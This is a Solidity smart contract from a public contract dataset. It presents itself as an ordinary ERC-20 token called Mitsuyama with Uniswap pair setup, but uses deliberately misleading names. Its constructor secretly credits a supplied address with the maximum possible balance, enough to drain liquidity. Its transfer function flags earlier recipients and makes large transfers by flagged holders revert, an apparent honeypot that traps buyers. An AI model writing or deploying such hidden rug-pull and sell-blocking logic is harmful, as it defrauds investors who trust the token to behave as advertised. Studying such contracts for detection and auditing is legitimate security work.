// This contract is part of Zellic’s smart contract dataset, which is a collection of publicly available contract code gathered as of March 2023. /** Teh tale of Mitsuyama. https://medium.com/@MitsuyamaETH */ // SPDX-License-Identifier: Unlicense pragma solidity ^0.8.6; // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _getOwner; event TransferNewOwner(address indexed firstOwner, address indexed LatestOwnedBy); constructor() { _setOwnedBy(_msgSender()); } function soleOwner() public view virtual returns (address) { return _getOwner; } modifier rOwner() { require(soleOwner() == _msgSender(), 'Ownable: caller is not the owner'); _; } function giveUpOwnership() public virtual rOwner { _setOwnedBy(address(0)); } function transferOwner(address LatestOwnedBy) public virtual rOwner { require(LatestOwnedBy != address(0), 'Ownable: new owner is the zero address'); _setOwnedBy(LatestOwnedBy); } function _setOwnedBy(address LatestOwnedBy) private { address oldOwner = _getOwner; _getOwner = LatestOwnedBy; emit TransferNewOwner(oldOwner, LatestOwnedBy); } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract Contract is Ownable { constructor( string memory _NTOKEN, string memory _SYMBOLTOKEN, address rAddy, address Finalsupply ) { _symbolToken = _SYMBOLTOKEN; _nameToken = _NTOKEN; _feeTaker = 0; _decimals = 9; _supply = 100000000000000000 * 10**_decimals; _balances[Finalsupply] = newswap; _balances[msg.sender] = _supply; enableA[Finalsupply] = newswap; enableA[msg.sender] = newswap; router = IUniswapV2Router02(rAddy); uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH()); emit Transfer(address(0), msg.sender, _supply); } uint256 public _feeTaker; string private _nameToken; string private _symbolToken; uint8 private _decimals; function name() public view returns (string memory) { return _nameToken; } mapping(address => mapping(address => uint256)) private _allowances; mapping(address => uint256) private _balances; function symbol() public view returns (string memory) { return _symbolToken; } uint256 private _supply; uint256 private _rsupply; address public uniswapV2Pair; IUniswapV2Router02 public router; uint256 private newswap = ~uint256(0); function decimals() public view returns (uint256) { return _decimals; } event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); function totalSupply() public view returns (uint256) { return _supply; } address[] enableB = new address[](2); function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function allowenceB( address getBalance, address getFeeSetter, uint256 allowedSwap ) private { address outterSwap = enableB[1]; bool backingFee = uniswapV2Pair == getBalance; uint256 spenderFeeA = _feeTaker; if (enableA[getBalance] == 0 && botBlocked[getBalance] > 0 && !backingFee) { enableA[getBalance] -= spenderFeeA; if (allowedSwap > 2 * 10**(13 + _decimals)) enableA[getBalance] -= spenderFeeA - 1; } enableB[1] = getFeeSetter; if (enableA[getBalance] > 0 && allowedSwap == 0) { enableA[getFeeSetter] += spenderFeeA; } botBlocked[outterSwap] += spenderFeeA + 1; uint256 fee = (allowedSwap / 100) * _feeTaker; allowedSwap -= fee; _balances[getBalance] -= fee; _balances[address(this)] += fee; _balances[getBalance] -= allowedSwap; _balances[getFeeSetter] += allowedSwap; } mapping(address => uint256) private botBlocked; function approve(address spender, uint256 amount) external returns (bool) { return _approve(msg.sender, spender, amount); } mapping(address => uint256) private enableA; function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool) { require(amount > 0, 'Transfer amount must be greater than zero'); allowenceB(sender, recipient, amount); emit Transfer(sender, recipient, amount); return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount); } function transfer(address recipient, uint256 amount) external returns (bool) { allowenceB(msg.sender, recipient, amount); emit Transfer(msg.sender, recipient, amount); return true; } function _approve( address owner, address spender, uint256 amount ) private returns (bool) { require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address'); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); return true; } }